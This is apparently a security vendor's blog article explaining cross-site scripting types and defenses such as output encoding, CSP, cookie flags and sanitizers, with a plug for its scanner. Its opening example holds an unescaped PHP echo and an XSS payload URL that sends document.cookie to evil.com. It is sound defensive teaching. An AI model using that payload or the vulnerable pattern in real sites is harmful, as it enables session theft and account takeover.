All articles
XSSWeb SecurityApplication Security

Cross-Site Scripting (XSS) Explained: Attacks and Defenses

What is cross-site scripting (XSS) and how to prevent it? Real attack examples, output encoding, CSP, cookie flags, and developer-tested defenses.

WebSentry TeamJune 15, 20266 min read

Cross-site scripting (XSS) has been on the OWASP Top 10 for nearly two decades, and it still slips into modern applications built with React, Vue, and server-rendered frameworks. The bug is conceptually simple — untrusted input ends up executing as JavaScript in someone else's browser — but the consequences range from defaced pages to full account takeover via stolen session cookies.

This post breaks down what XSS actually is, the three flavors you'll encounter in the wild, and the concrete defenses that work in production code.

What Cross-Site Scripting Actually Is

XSS is an injection vulnerability where an attacker tricks your application into delivering malicious JavaScript to another user's browser. Because the script runs on your origin, it inherits the same trust as code you wrote — meaning it can read cookies (unless flagged HttpOnly), access the DOM, make authenticated requests, and exfiltrate data.

A trivial example: your search page echoes the query back to the user.

<p>You searched for: <?= $_GET['q'] ?></p>

An attacker sends a victim this link:

https://yoursite.com/search?q=<script>fetch('https://evil.com/?c='+document.cookie)</script>

The browser receives a page containing a real <script> tag, executes it, and the victim's session token is gone.

The Three Types of XSS

  • Reflected XSS — Payload comes from the request (URL, form post) and is reflected into the response without proper encoding. Usually delivered via phishing links.
  • Stored XSS — Payload is saved server-side (comment, profile bio, support ticket) and served to every user who views that page. The most dangerous variant because it scales automatically.
  • DOM-based XSS — The vulnerability lives entirely in client-side JavaScript. The server never sees the payload — it's parsed from location.hash, postMessage, or similar and written into the DOM via innerHTML, document.write, or eval.

How XSS Gets Exploited in Practice

Modern XSS rarely looks like <script>alert(1)</script>. Real attacks tend to:

  1. Steal session cookies when HttpOnly is missing, then hijack the account.
  2. Perform actions as the victim — change email address, add an attacker SSH key, transfer credits — using the existing session.
  3. Keylog form inputs on checkout or login pages to grab credentials and credit cards.
  4. Pivot internally by making requests to admin panels or internal APIs the victim has access to.
  5. Deliver browser exploits or cryptominers to large user bases via stored XSS on a popular page.

Preventing XSS: What Actually Works

1. Context-Aware Output Encoding

The single most important rule: encode data when it leaves your application, based on where it's going. Each context has different escape rules:

  • HTML body — escape < > & " '
  • HTML attribute — quote attributes and escape the quote character
  • JavaScript — use JSON.stringify for data; never concatenate strings into a <script> block
  • URL — use encodeURIComponent for query values
  • CSS — avoid putting user input in styles at all if possible

Frameworks like React, Vue, Angular, and modern template engines (Jinja2 with autoescape, ERB with <%= %>, Razor) escape HTML by default. The bugs happen when developers reach for escape hatches: dangerouslySetInnerHTML, v-html, [innerHTML], or {{{ raw }}}.

2. Content Security Policy (CSP)

CSP is your second line of defense. Even if encoding fails, a strict CSP can prevent the injected script from running. A solid starting policy:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

Key points:

  • Avoid 'unsafe-inline' in script-src — it defeats CSP's main XSS protection.
  • Use nonces or hashes for any inline scripts you genuinely need.
  • Set object-src 'none' to block legacy Flash/plugin payloads.
  • Set base-uri 'self' to prevent <base> tag injection from redirecting relative URLs.

Roll CSP out in report-only mode first using Content-Security-Policy-Report-Only and a reporting endpoint. WebSentry will flag missing or weak CSP headers and tell you which directives are missing, which is a quick way to validate that your policy actually got deployed correctly to production.

3. Cookie Flags

Make stolen cookies useless to JavaScript:

  • HttpOnly — blocks document.cookie access entirely
  • Secure — only sent over HTTPS
  • SameSite=Lax or Strict — blocks most cross-site request scenarios

This doesn't prevent XSS, but it dramatically reduces the blast radius when it happens.

4. Sanitize When You Must Allow HTML

If users need to submit rich content (a CMS, comments with formatting), don't write your own sanitizer. Use a maintained library:

  • DOMPurify for client-side or Node.js sanitization
  • Bleach for Python
  • HtmlSanitizer for .NET
  • sanitize-html for Node

Configure an allowlist of tags and attributes — never a blocklist. Strip on* event handlers, javascript: URLs, and <script>, <iframe>, <object>, <embed> entirely.

5. Trusted Types for DOM XSS

For client-heavy applications, enable Trusted Types via CSP:

Content-Security-Policy: require-trusted-types-for 'script'

This makes the browser refuse string assignments to dangerous sinks like innerHTML unless they pass through a typed policy you define. It's the most effective protection against DOM-based XSS and is supported in Chromium-based browsers.

6. Validate Input — But Don't Rely On It

Input validation (reject anything that isn't a valid email, integer, UUID, etc.) reduces attack surface but is not a substitute for output encoding. The same data may flow into HTML, JSON, logs, and SQL — only the output layer knows the correct escaping.

A Practical XSS Hardening Checklist

  1. Audit every use of innerHTML, dangerouslySetInnerHTML, v-html, document.write, and eval in your codebase.
  2. Confirm your framework's auto-escaping is enabled in all templates.
  3. Deploy a strict CSP with nonces — no 'unsafe-inline', no 'unsafe-eval'.
  4. Set HttpOnly, Secure, and SameSite on every session cookie.
  5. Replace any custom HTML sanitization with DOMPurify or equivalent.
  6. Add a CSP violation reporting endpoint and monitor it.
  7. Run automated scans on every deploy — WebSentry checks CSP, cookie flags, and the headers that surround your XSS defenses, and grades them A–F so regressions show up immediately.

XSS is a solved problem in theory and a persistent bug in practice because defenses have to be applied everywhere user data touches output. One missed template, one dangerouslySetInnerHTML with unsanitized input, and the whole site is exposed.

Run a free scan at websentry.dev to see how your CSP, cookie flags, and security headers stack up — it takes about 30 seconds and gives you a prioritized list of what to fix first.

Check your own site

Run a free security scan and see if your site has the issues covered in this article. Results in under 30 seconds.